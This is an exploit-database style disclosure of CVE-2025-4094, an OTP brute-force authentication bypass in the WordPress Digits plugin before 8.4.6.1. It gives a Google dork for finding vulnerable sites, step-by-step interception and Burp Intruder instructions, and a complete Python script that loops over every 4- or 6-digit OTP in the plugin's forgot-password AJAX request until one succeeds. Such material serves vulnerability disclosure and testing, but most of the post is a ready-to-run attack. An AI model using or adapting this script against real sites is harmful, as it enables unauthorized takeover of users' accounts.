WordPress Digits Plugin 8.4.6.1 – Authentication Bypass via OTP Bruteforcing

• CVE-2025-4094

Exploit Title: WordPress Digits Plugin 8.4.6.1 – Authentication Bypass via OTP…

# Exploit Title: WordPress Digits Plugin 8.4.6.1 – Authentication Bypass via OTP Bruteforcing

# Google Dork: inurl:/wp-content/plugins/digits/

# Date: 2025-04-30

# Exploit Author: Saleh Tarawneh

# Vendor Homepage: https://digits.unitedover.com/

# Version: < 8.4.6.1
# CVE : CVE-2025-4094

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The Digits plugin for WordPress prior to version 8.4.6.1 is vulnerable to OTP brute-force attacks due to missing rate limiting.

An attacker can exploit this to bypass authentication or password reset by iterating over possible OTP values.

This PoC targets the “Forgot Password” flow and automates the attack, which is the same concept that is valid for the registration flow.

CWE-287: Improper Authentication

CVSS v3.1: 9.8 (Critical)

OWASP A2: Broken Authentication

[Instructions]

1. Use a tool like Burp Suite or your browser’s developer tools to intercept the OTP verification request.

2. Copy the exact request parameters

3. Replace the placeholder values in the script with real data from the intercepted request.

4. Run the script to brute-force 4-digit OTPs (0000 to 9999) or you can change it to 6-digit.

[Alternative Method – Burp Suite Pro]

If you have Burp Suite Pro, you can perform the OTP brute-force attack manually:

1. Intercept the OTP request using Burp Proxy.

2. Send the request to Intruder.

3. Mark the `sms_otp` parameter as the payload position.

4. Load a payload list from `000000` to `999999` (for 6-digit OTPs).

5. Start the attack and monitor responses for a different status code, length, or success message.

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import requests

def brute(otp):

url = “https://example.com/wp-admin/admin-ajax.php”

data = { # Replace with targets data

“login_digt_countrycode”: “+”,

“digits_phone”: “000000000”,

“action_type”: “phone”,

“sms_otp”: otp,

“otp_step_1”: “1”,

“instance_id”: “xxxxxxx”,

“action”: “digits_forms_ajax”,

“type”: “forgot”,

“forgot_pass_method”: “sms_otp”,

“digits”: “1”,

“digits_redirect_page”: “//example.com/”,

“digits_form”: “xxxxxxxx”,

“_wp_http_referer”: “/?login=true”

}

headers = {

“User-Agent”: “Mozilla/5.0”,

“Content-Type”: “application/x-www-form-urlencoded; charset=UTF-8”,

“X-Requested-With”: “XMLHttpRequest”,

“Referer”: “https://example.com/?login=true” # Replace with intercepted referer

}

response = requests.post(url, data=data, headers=headers)

if ‘”success”:true’ in response.text:

print(f”[+] OTP FOUND: {otp}”)

exit()

def main():

for otp in range(0, 10000): # range(0, 1000000): for 6-digit

otp_str = f”{otp:04d}” # {otp:06d} for 6-digit

print(f”[*] Trying OTP: {otp_str}”)

brute(otp_str)

if __name__ == “__main__”:

main()